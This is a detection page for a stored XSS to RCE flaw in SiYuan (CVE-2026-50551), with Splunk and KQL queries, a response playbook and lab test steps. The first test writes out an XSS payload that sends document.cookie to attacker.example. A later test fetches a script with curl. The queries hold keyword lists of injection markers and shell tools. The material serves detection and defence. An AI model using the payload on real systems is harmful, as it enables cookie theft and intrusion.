CVE-2026-50551 Splunk · SPL

Detect SiYuan Attribute View Asset Cell Stored XSS to RCE (CVE-2026-50551) in Splunk

Detects exploitation of CVE-2026-50551, a stored Cross-Site Scripting (CWE-79) vulnerability in SiYuan (github.com/siyuan-note/siyuan/kernel) affecting versions prior to 0.0.0-20260628153353-2d5d72223df4. Unsanitized attribute view asset cell content allows an attacker to inject malicious script/HTML that executes in the context of the SiYuan kernel's rendering surface, which can be chained with SiYuan's local kernel API and plugin/asset execution surfaces to achieve remote code execution. Detection focuses on suspicious payloads written into attribute view (database) asset cell fields, anomalous kernel HTTP API calls consistent with XSS-to-RCE chaining, and post-exploitation process/file activity on hosts running the SiYuan kernel service.

MITRE ATT&CK

Tactic
Initial Access Execution Privilege Escalation

SPL Detection Query

Splunk (SPL)
spl 
index=web sourcetype=access_combined OR sourcetype=siyuan_kernel
(uri_path="*/api/av/*" OR uri_path="*/api/attributeView/*" OR uri_path="*/api/asset/*")
| regex _raw="(?i)(<script|onerror=|onload=|javascript:|document\.cookie|eval\(|child_process|os/exec)"
| eval flagged_payload=1
| join type=left max=0 host [
    search index=endpoint sourcetype=sysmon EventCode=1
    (CommandLine="*curl*" OR CommandLine="*wget*" OR CommandLine="*powershell*" OR CommandLine="*bash -c*" OR CommandLine="*/bin/sh -c*" OR CommandLine="*reverse*")
    | rename ComputerName as host
    | table _time host CommandLine
]
| table _time src_ip host uri_path _raw CommandLine
| sort - _time
critical severity medium confidence

Detects XSS payload injection attempts against SiYuan kernel attribute view/asset API endpoints and correlates with suspicious process execution indicative of RCE chaining for CVE-2026-50551.

Data Sources

Web Proxy/Access LogsSysmon Process Creation

Required Sourcetypes

access_combinedsiyuan_kernelsysmon

False Positives & Tuning

  • Authorized vulnerability scanning or red team activity against SiYuan instances
  • Legitimate rich-text/HTML content stored by users in attribute view cells
  • False matches from benign strings containing 'javascript:' in documentation notes

Other platforms for CVE-2026-50551

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Inject stored XSS payload into SiYuan attribute view asset cell

    Expected signal: HTTP POST request to /api/av/setAttributeViewCell containing an <img onerror=...> payload in RequestBody, logged in proxy/access logs.

  2. Test 2Render malicious attribute view cell to trigger stored XSS

    Expected signal: Kernel API request to render the attribute view; if a headless/WebView renderer is used, outbound network telemetry to attacker.example may be observed.

  3. Test 3Simulate XSS-to-RCE chain via local plugin/script execution

    Expected signal: Process creation event for bash/curl spawned in close temporal proximity to the SiYuan kernel process, plus a network connection attempt to an external/test host.

  4. Test 4Windows lab validation of downstream process spawn after payload render

    Expected signal: Sysmon Event ID 1 (Process Creation) for powershell.exe with a benign command line, occurring shortly after a simulated attribute view API request.

Last updated: 2026-08-01 Research depth: standard
References (3)

Response Playbook

Triage

  1. Confirm the SiYuan kernel version in use is below 0.0.0-20260628153353-2d5d72223df4 by checking the running binary version or go.mod/build info endpoint.
  2. Review the flagged HTTP request(s) to /api/av/, /api/attributeView/, or /api/asset/ to determine whether the payload is a genuine script/HTML injection attempt versus benign rich-text content.
  3. Inspect the affected attribute view/database entry in SiYuan to see if the malicious content was actually stored and rendered (check the workspace's data/storage for the affected notebook/database).
  4. Check for correlated suspicious process execution (curl, wget, powershell, reverse shells) on the host running the SiYuan kernel shortly after the flagged request.
  5. Determine whether the request originated from an authenticated session or an unauthenticated/exposed kernel API port, since SiYuan's kernel API is often bound to localhost but may be exposed via misconfiguration.

Containment

  1. Immediately restrict network access to the SiYuan kernel API port (default 6806) to localhost or a trusted management network via firewall rules.
  2. Upgrade SiYuan to a patched build (>= 0.0.0-20260628153353-2d5d72223df4) or, if patching is not immediately possible, disable public/remote access to the workspace and revoke exposed API tokens.
  3. Quarantine or purge the malicious attribute view cell content identified during triage to prevent re-triggering the stored XSS on subsequent page renders.
  4. Isolate the affected host from the network if evidence of process execution or RCE chaining is confirmed, pending forensic review.

Evidence Collection

  1. Export the raw HTTP request/response logs (proxy, WAF, or reverse proxy) showing the malicious payload sent to the attribute view/asset API.
  2. Capture a copy of the affected SiYuan workspace data directory (notebooks, attribute view database files) before remediation to preserve the injected payload for analysis.
  3. Collect EDR process execution and network connection telemetry from the host for the time window surrounding the flagged request.
  4. Preserve browser/kernel WebView console logs or crash dumps if the XSS payload triggered visible rendering errors.

Escalation Criteria

  • !Escalate to incident response if evidence shows the injected script achieved code execution (e.g., spawned a shell, made outbound C2-like connections, or modified local files outside the SiYuan workspace).
  • !Escalate if the SiYuan kernel instance was internet-exposed and the affected workspace contains sensitive or regulated data.
  • !Escalate if multiple users/workspaces show the same injected payload, indicating a worm-like or automated mass-exploitation attempt.
  • !Escalate if attacker-controlled outbound network connections or credential exfiltration are observed following exploitation.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >SiYuan workspace data directory containing attribute view (.sy) database files with the injected payload
  • >Kernel HTTP API access logs (default port 6806) showing POST requests to /api/av/, /api/attributeView/, or /api/asset/
  • >Host-level process creation and network connection logs (EDR/Sysmon) correlated with the SiYuan kernel process

Tuning Guidance

Tune the script/HTML pattern list based on observed benign use cases in your environment (e.g., legitimate code-snippet notes) to reduce noise; consider requiring the process-execution correlation leg before alerting at high severity, and lower to informational for payload-only matches without corroborating host activity. Exclude known internal vulnerability scanners by source IP/UA if they routinely test these endpoints under an approved testing schedule.

Hunting Queries

Broad hunt across proxy/API logs for any historical instances of script injection payloads sent to SiYuan attribute view or asset endpoints, to identify exploitation attempts predating detection deployment.

Hunting — KQL
kql 
HttpRequest
| where Url has_any ("/api/av/", "/api/attributeView/", "/api/asset/")
| where RequestBody has_any ("<script","onerror=","onload=","javascript:","document.cookie","eval(")
| summarize count() by SourceIP, Url, bin(TimeGenerated, 1h)
| order by count_ desc
Hunting — SPL
spl 
index=web (uri_path="*/api/av/*" OR uri_path="*/api/attributeView/*" OR uri_path="*/api/asset/*")
| regex _raw="(?i)(<script|onerror=|onload=|javascript:|document\.cookie|eval\()"
| stats count by src_ip, uri_path
| sort - count

Atomic Red Team Tests

Test 1 Inject stored XSS payload into SiYuan attribute view asset cell
linux

Simulates an attacker submitting a malicious script payload as content for an attribute view asset cell via the SiYuan kernel API, validating that the stored payload is written and later rendered.

Command

bash 
curl -s -X POST 'http://127.0.0.1:6806/api/av/setAttributeViewCell' -H 'Content-Type: application/json' -d '{"cellID":"20260718-testcell","value":{"type":"text","text":{"content":"<img src=x onerror=fetch(\'http://attacker.example/c2?c=\'+document.cookie)>"}}}'

Cleanup

bash 
curl -s -X POST 'http://127.0.0.1:6806/api/av/setAttributeViewCell' -H 'Content-Type: application/json' -d '{"cellID":"20260718-testcell","value":{"type":"text","text":{"content":""}}}'

Expected Telemetry

HTTP POST request to /api/av/setAttributeViewCell containing an <img onerror=...> payload in RequestBody, logged in proxy/access logs.

Expected Detection

KQL/SPL rules alert on the flagged request due to matched XSS payload markers in the request body against the attribute view API endpoint.

Test 2 Render malicious attribute view cell to trigger stored XSS
linux

Opens/renders the SiYuan document/database view containing the previously injected payload to confirm the script executes in the kernel's WebView rendering context.

Command

bash 
curl -s 'http://127.0.0.1:6806/api/av/renderAttributeView' -H 'Content-Type: application/json' -d '{"id":"20260718-testview"}'

Cleanup

bash 
# No persistent state change; ensure test cell content was cleaned up in the prior test

Expected Telemetry

Kernel API request to render the attribute view; if a headless/WebView renderer is used, outbound network telemetry to attacker.example may be observed.

Expected Detection

Elastic EQL/Chronicle sequence rule fires if the render triggers a correlated outbound connection or process execution within the maxspan window.

Test 3 Simulate XSS-to-RCE chain via local plugin/script execution
linux

Simulates the second stage of the exploit chain where the executed script invokes a local command via a shell-out helper, representing the RCE escalation path described in the advisory.

Command

bash 
bash -c 'echo XSS-to-RCE-simulation && curl -s -o /tmp/poc_payload.sh http://127.0.0.1:8000/poc_payload.sh 2>/dev/null; echo done'

Cleanup

bash 
rm -f /tmp/poc_payload.sh

Expected Telemetry

Process creation event for bash/curl spawned in close temporal proximity to the SiYuan kernel process, plus a network connection attempt to an external/test host.

Expected Detection

CrowdStrike CQL and QRadar AQL rules alert on the correlated HttpRequest-to-ProcessRollup2 join, flagging the host for RCE chaining consistent with CVE-2026-50551.

Test 4 Windows lab validation of downstream process spawn after payload render
windows

On a Windows host running SiYuan, simulates the downstream suspicious process execution (PowerShell) that would follow successful XSS-to-RCE exploitation, to validate the process-correlation leg of detections.

Command

powershell 
powershell.exe -NoProfile -Command "Write-Output 'simulated-rce-followup'; Start-Sleep -Seconds 1"

Cleanup

powershell 
# No persistent artifacts created; command is a benign no-op simulation

Expected Telemetry

Sysmon Event ID 1 (Process Creation) for powershell.exe with a benign command line, occurring shortly after a simulated attribute view API request.

Expected Detection

Sumo Logic and Chronicle correlation rules alert when the powershell.exe launch is joined with a prior flagged HTTP request to the attribute view/asset API on the same host.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0004Privilege Escalation

Related Techniques

T1189Drive-by CompromiseT1059Command and Scripting InterpreterT1105Ingress Tool Transfer

Same Tactic: Initial Access

Popular Detections